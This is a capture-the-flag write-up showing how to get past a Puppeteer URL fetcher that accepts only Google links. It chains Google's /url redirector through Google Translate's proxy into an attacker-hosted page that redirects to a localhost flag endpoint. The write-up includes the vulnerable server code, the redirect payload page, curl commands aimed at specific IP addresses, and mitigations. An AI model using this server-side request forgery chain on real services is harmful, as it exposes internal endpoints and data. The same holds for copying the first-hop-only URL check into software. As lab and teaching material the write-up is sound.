CTF Write-up — Bypassing a Google-only Fetcher to Reach 127.0.0.1
via Google Translate
Goal: Exfiltrate the flag from http://127.0.0.1:3000/flag
even though the app only accepts input URLs that start with https://www.google.com/
or https://google.com/
.
Core idea: Use google.com/url
(Google’s redirector) to bounce into translate.google.com/translate?u=…
, which fetches and renders our page containing a client-side redirect to http://127.0.0.1:3000/flag
. Puppeteer follows that navigation from inside the container, so requests originate from localhost and the flag is returned. Works
Challenge Code (server)
The vulnerable Express + Puppeteer app:
const express = require('express');
const puppeteer = require('puppeteer');
const bodyParser = require('body-parser');
const url = require('url');
const app = express();
const port = 3000;
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('public'));
app.get('/', (req, res) => {
res.send(`
<html>
<body>
<h1>URL Fetcher</h1>
<p>Enter a URL to fetch (must be https://www.google.com).</p>
<p>The flag is hidden somewhere...</p>
<form action="/fetch" method="post">
<input type="text" name="url" placeholder="https://www.google.com" required>
<button type="submit">Fetch</button>
</form>
</body>
</html>
`);
});
app.post('/fetch', async (req, res) => {
const inputUrl = req.body.url;
if (!inputUrl) {
return res.status(400).send('URL is required');
}
try {
if (!inputUrl.startsWith('https://www.google.com/') && !inputUrl.startsWith('https://google.com/')) {
return res.status(400).send('URL must start with https://www.google.com/ or https://google.com/');
}
const parsedUrl = new URL(inputUrl);
if (parsedUrl.hostname !== 'www.google.com' && parsedUrl.hostname !== 'google.com') {
return res.status(400).send('Only www.google.com or google.com hostnames are allowed');
}
const browser = await puppeteer.launch({
args: ['--no-sandbox', '--disable-setuid-sandbox'],
headless: true,
});
const page = await browser.newPage();
await page.goto(inputUrl, {
waitUntil: 'networkidle2',
timeout: 10000,
});
const content = await page.content();
await browser.close();
res.send(`<h2>Content from ${inputUrl}:</h2><pre>${content}</pre>`);
} catch (error) {
res.status(500).send(`Error fetching URL: ${error.message}`);
}
});
app.get('/flag', (req, res) => {
const clientIp = (req.ip || req.connection.remoteAddress || "").toString();
console.log(`Client IP: ${clientIp}`);
if (clientIp.includes('127.0.0.1') || clientIp.includes('::1')) {
const flag = process.env.FLAG || 'Flag{fake_flag}';
res.send(flag);
} else {
res.status(403).send('Access denied. Only local access allowed.');
}
});
app.listen(port, () => {
console.log(`App listening at http://localhost:${port}`);
});
Initial Probing (Dead Ends)
/setprefs?continue=http://127.0.0.1:3000/flag
→ Loads a Google UI page; no redirect to arbitraryhttp
on localhost. No/accounts/Logout?continue=http://127.0.0.1:3000/flag
→ HTTP 400 from Google. No/signin/v2/identifier?continue=…
→ 404 (legacy path). No/generate_204?continue=…
→ Aborted in headless fetch; no external follow. No/search?sourceid=navclient&gfns=1&q=…
→ CAPTCHA wall (“unusual traffic”). Blocked/imgres?imgurl=…
→ 301 to/imghp
(image search home). No/url?q=…
→ Often shows “Redirect Notice” that requires user interaction. Interactivity needed
The Working Chain
1) Use Google’s redirector on a permitted host
Payload shape (host stays google.com
, which passes validation):
https://www.google.com/url?q=<NEXT_HOP>
2) Next hop is Google Translate as a proxy
Translate fetches and renders arbitrary pages via u=
:
<NEXT_HOP> = https://translate.google.com/translate?u=https://<YOUR_HOST>/re.html
3) re.html
performs a client-side redirect to localhost
Host this tiny page at e.g. https://<YOUR_HOST>/re.html
:
<!doctype html>
<meta http-equiv="refresh" content="0; url=http://127.0.0.1:3000/flag">
<script>location.replace('http://127.0.0.1:3000/flag')</script>
Either the meta refresh or the JS is enough; both maximize reliability across wrappers.
4) Final full URL to give the fetcher
https://www.google.com/url?q=https://translate.google.com/translate?u=https://<YOUR_HOST>/re.html
Reproduction
Submit to the fetcher (replace placeholders):
curl -s -X POST 'http://<FETCHER_HOST>/fetch' \
--data-urlencode "url=https://www.google.com/url?q=https://translate.google.com/translate?u=https://<YOUR_HOST>/re.html"
Example using your hosts:
curl -s -X POST 'http://65.109.213.16:3333/fetch' \
--data-urlencode "url=https://www.google.com/url?q=https://translate.google.com/translate?u=https://5.161.237.177/re.html"
Why It Works
Validation only constrains the first hop
- The Express code checks the hostname of the input URL only.
- After the initial
page.goto()
, any subsequent client-side navigation is unconstrained.
Puppeteer executes JS and follows redirects
- Headless Chromium runs the script in
re.html
and followslocation.replace()
. - The request originates from the container → deemed local by the
/flag
handler.
Using Google as a trustworthy bridge
google.com/url
is an allowed path and is designed to forward users to external destinations.translate.google.com/translate?u=…
acts as a proxy that renders the target, allowing our JS to run.- No
usg
/ved
signatures are required here; the flow relies on client-side navigation after the initial allowed load.
Mitigations (How to Fix)
- Block localhost/metadata ranges at request level (e.g., 127.0.0.0/8, ::1, 169.254.0.0/16, cloud metadata IPs).
- Disable JS in the fetcher (
page.setJavaScriptEnabled(false)
) or use a plain HTTP client instead of a browser. - Enforce navigation policies via
page.setRequestInterception
, cancel all requests whose destination host is not on an allowlist. - Use URL pattern allowlists that cover all subsequent requests, not just the initial URL.
- Network sandboxing: run the browser in a network namespace with egress only to permitted hosts.
Files
challenge-app.js
— the challenge server code (same as above).re.html
— payload page that redirects the headless browser tohttp://127.0.0.1:3000/flag
.
Write-up assembled for reproducing on a self-hosted CTF Docker instance.